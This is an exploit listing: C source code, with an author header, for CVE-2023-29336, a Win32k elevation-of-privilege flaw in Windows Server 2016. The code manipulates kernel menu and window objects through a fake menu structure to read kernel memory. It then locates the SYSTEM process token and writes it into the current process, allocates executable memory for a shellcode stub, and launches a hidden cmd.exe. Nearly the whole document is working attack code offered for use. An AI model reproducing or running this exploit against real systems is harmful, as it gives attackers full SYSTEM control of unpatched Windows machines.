# Exploit Title: Microsoft Windows Server 2016 - Win32k Elevation of
Privilege
# Date: 2025-05-19
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# Country: United Kingdom
# CVE : CVE-2023-29336
#include <windows.h>
#include <stdio.h>
#include <tchar.h>
#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8
typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT
uIDEnableItem, UINT uEnable);
typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2,
unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID,
int nConsoleInformationLength);
NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam);
int syytem();
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
BOOL bExploited;
BYTE pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
struct tagMENU
{
ULONG64 field_0;
ULONG64 field_8;
ULONG64 field_10;
ULONG64 field_18;
ULONG64 field_20;
PVOID obj28;
DWORD field_30;
DWORD flag1;
DWORD flag2;
DWORD cxMenu;
DWORD cyMenu;
ULONG64 field_48;
PVOID rgItems;
ULONG64 field_58; // + 0x58
ULONG64 field_60;
ULONG64 field_68;
ULONG64 field_70;
ULONG64 field_78;
ULONG64 field_80;
ULONG64 field_88;
ULONG64 field_90;
PVOID ref; // + 0x98
};
struct MyData
{
BYTE name[0x96];
};
tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;
static PULONGLONG ptagWNDFake = NULL;
static PULONGLONG ptagWNDFake1 = NULL;
static PULONGLONG ptagWNDFake2 = NULL;
static PULONGLONG GS_hanlde = NULL;
static PULONGLONG HWND_class = NULL;
struct ThreadParams {
int threadId;
int numLoops;
};
static unsigned long long GetGsValue(unsigned long long gsValue)
{
return gsValue;
}
PVOID
GetMenuHandle(HMENU menu_D)
{
int conut = 0;
PVOID HANDLE = 0;
PBYTE add = 0;
WORD temp = 0;
DWORD offset = 0xbd688;
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
ULONGLONG par1 = 0;
DWORD par2 = 0;
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);
add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
if (add)
{
HANDLE = *(PVOID*)add;
}
else
{
HANDLE = 0;
}
HANDLE= (PVOID*)((ULONGLONG)HANDLE - GS_off+0x20);
return *(PVOID*)HANDLE;
}
PVOID
xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
int conut = 0;
PVOID HANDLE = 0;
PBYTE add = 0;
WORD temp = 0;
DWORD offset = 0xbd688;
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
ULONGLONG par1 = 0;
DWORD par2 = 0;
memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);
temp = (ULONGLONG)menu_D >> 16;
add = (PBYTE)(par1 + 0x18 * (WORD)menu_D);
if (add)
{
HANDLE = *(PVOID*)add;
}
else
{
HANDLE = 0;
}
HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
return *(PVOID*)HANDLE;
}
static
VOID
xxReallocPopupMenu(VOID)
{
for (INT i = 0; i < 0x8; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[0x100] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp,
L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d",
i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
}
}
VOID
createclass(VOID)
{
WCHAR szTemp[0x100] = { 0 };
for (INT i = 9; i < 29; i++)
{
WNDCLASSEXW Class = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"A@A%d", i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0x20;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
Class.cbClsExtra = 0x1a0;
if (!RegisterClassExW(&Class))
{
continue;
}
}
for (INT i = 9; i < 29; i++)
{
wsprintfW(szTemp, L"A@A%d", i);
HWND_list1[i]=CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0,
0, 0, NULL,NULL, NULL, NULL);
}
}
ULONG64 Read64(ULONG64 address)
{
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
g_pFakeMenu->rgItems = PVOID(address - 0x48);
GetMenuBarInfo(HWND_list[max+1], OBJID_MENU, 1, &mbi);
return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}
void exploit()
{
for (int i = 0; i < 0x20; i++)
{
ULONG64 pmenu = SetClassLongPtr(HWND_list1[i], 0x270,
(LONG_PTR)g_pFakeMenu);
if (pmenu != 0)
{
Hwnd_num = i;
MENUBARINFO mbi = { 0 };
mbi.cbSize = sizeof(MENUBARINFO);
}
}
// Token stealing
ULONG64 p = Read64(HWND_add +0x250+ 0x10); // USER_THREADINFO
p = Read64(p); //THREADINFO
p = Read64(p + 0x220); // (PROCESSINFO)
ULONG64 eprocess = p;
printf("Current EPROCESS = %llx\n", eprocess);
p = Read64(p + 0x2f0);
do {
p = Read64(p + 0x08);
ULONG64 pid = Read64(p - 0x08);
if (pid == 4) {
ULONG64 pSystemToken = Read64(p + 0x68);
printf("pSys/tem Token = %llx \n", pSystemToken);
HWND_class = (PULONGLONG)((PBYTE)0x303000);
HWND_class[8] = eprocess + 0x290;
HWND_class[12] = 0x100;
HWND_class[20] = 0x303010;
ULONG64 ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 +
0x98 - 0xa0, (LONG_PTR)HWND_class);
SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
ret_add = SetClassLongPtr(HWND_list1[Hwnd_num], 0x250 + 0x98 -
0xa0, (LONG_PTR)ret_add);
break;
}
} while (p != eprocess);
syytem();
}
void buildmem()
{
WORD max_handle = 0;
pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return;
}
ZeroMemory(pvShellCode, 0x10000);
ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
ptagWNDFake[0] = (ULONGLONG)0x304140;
ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;
ptagWNDFake[6] = (ULONGLONG)0x304140;
ptagWNDFake[8] = 0x305300;
ptagWNDFake[11] = (ULONGLONG)MENU_add;
ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
ptagWNDFake[71] = (ULONGLONG)0x000004;
ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
ptagWNDFake1[1] = (ULONGLONG)0x11;
ptagWNDFake1[2] = (ULONGLONG)0x305320;
ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
ptagWNDFake1[14] = (ULONGLONG)0x306500;
ptagWNDFake1[16] = (ULONGLONG)305400;
ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
ptagWNDFake1[11] = (ULONGLONG)0x306600;
WNDCLASSEX WndClass = { 0 };
WndClass.cbSize = sizeof(WNDCLASSEX);
WndClass.lpfnWndProc = DefWindowProc;
WndClass.style = CS_VREDRAW | CS_HREDRAW;
WndClass.cbWndExtra = 0xe0;
WndClass.hInstance = NULL;
WndClass.lpszMenuName = NULL;
WndClass.lpszClassName = L"NormalClass";
RegisterClassEx(&WndClass);
for (int i = 0; i < 0x200; i++)
{
HMENUL_list[i] = CreateMenu();
}
for (int i = 0; i < 0x100; i++)
{
HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL,
WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);
}
for (int i = 0; i < 0x100; i++)
{
SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);
SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);
}
for (int i = 0x20; i < 0x60; i++)
{
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2],
0x01)- (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1],
0x01)== 0x250)
{
if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 +
1], 0x01)-(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01)
== 0x250)
{
HWND_add =
(ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i*2], 0x01);
max = i * 2;
break;
}
}
if (i == 0x5f)
{
HWND_add = 0;
}
}
ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
DestroyWindow(HWND_list[max]);
createclass();
// Create a fake spmenu
PVOID hHeap = (PVOID)0x302000;
g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
g_pFakeMenu->ref = (PVOID)0x302300;
*(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
// cItems = 1
g_pFakeMenu->obj28 = (PVOID)0x302200;
*(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
// rgItems
g_pFakeMenu->rgItems = (PVOID)0x304000;
// cx / cy must > 0
g_pFakeMenu->flag1 = 1;
g_pFakeMenu->flag2 = 1;
g_pFakeMenu->cxMenu = 1;
g_pFakeMenu->cyMenu = 1;
//
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR
lpCmdLine, int nCmdShow)
{
ULONGLONG gsValue = 0;
unsigned char shellcode[] =
"\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";
LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (executableMemory == NULL) {
return 1;
}
memcpy(executableMemory, shellcode, sizeof(shellcode));
gsValue = ((ULONGLONG(*)())executableMemory)();
gsValue = gsValue + 0x800;
GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
GS_off = GS_hanlde[5];
char str[0xb8] = "";
memset(str, 0x41, 0xa8);
g_NtUserEnableMenuItem =
(NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserEnableMenuItem");
g_NtUserSetClassLongPtr =
(NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserSetClassLongPtr");
g_NtUserCreateAcceleratorTable =
(NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserCreateAcceleratorTable");
g_pfnNtUserConsoleControl =
(fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"),
"NtUserConsoleControl");
WNDCLASS wc = { 0 };
wc.lpfnWndProc = WndProc;
wc.hInstance = hInstance;
wc.lpszClassName = TEXT("EnableMenuItem");
RegisterClass(&wc);
HWND hWnd = CreateWindow(
wc.lpszClassName,
TEXT("EnableMenuItem"),
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
400, 300,
NULL,
NULL,
hInstance,
NULL
);
if (!hWnd) return FALSE;
///
hSystemMenu = GetSystemMenu(hWnd, FALSE);
hSubMenu = CreatePopupMenu();
MENU_add = GetMenuHandle(hSubMenu);
hMenuB = CreateMenu();
buildmem();
if (HWND_add == 0)
{
return 0;
}
AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));
DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);
AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");
AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");
ShowWindow(hWnd, nCmdShow);
UpdateWindow(hWnd);
flag = 1;
g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);
exploit();
MSG msg = { 0 };
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
return (int)msg.wParam;
}
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case 0xae:
switch (wParam)
{
case 0x1000:
if (flag)
{
int itemCount = GetMenuItemCount(hMenuB);
for (int i = itemCount - 1; i >= 0; i--) {
RemoveMenu(hMenuB, i, MF_BYPOSITION);
}
DestroyMenu(hSubMenu);
xxReallocPopupMenu();
}
case 0x1001:
if (flag)
{
int itemCount = GetMenuItemCount(hMenuB);
for (int i = itemCount - 1; i >= 0; i--) {
RemoveMenu(hMenuB, i, MF_BYPOSITION);
}
DestroyMenu(hSubMenu);
xxReallocPopupMenu();
}
return 0;
}
break;
}
return DefWindowProc(hWnd, message, wParam, lParam);
}
int syytem()
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;
byte buf[40960] = { 0 };
STARTUPINFOW si;
PROCESS_INFORMATION pi;
DWORD bytesRead;
RtlSecureZeroMemory(&si, sizeof(si));
RtlSecureZeroMemory(&pi, sizeof(pi));
RtlSecureZeroMemory(&sa, sizeof(sa));
int br = 0;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return -3;
}
si.cb = sizeof(STARTUPINFO);
GetStartupInfoW(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.lpDesktop = L"WinSta0\\Default";
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
wchar_t cmd[4096] = { L"cmd.exe" };
if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si,
&pi))
{
CloseHandle(hWrite);
CloseHandle(hRead);
printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
return -2;
}
CloseHandle(hWrite);
}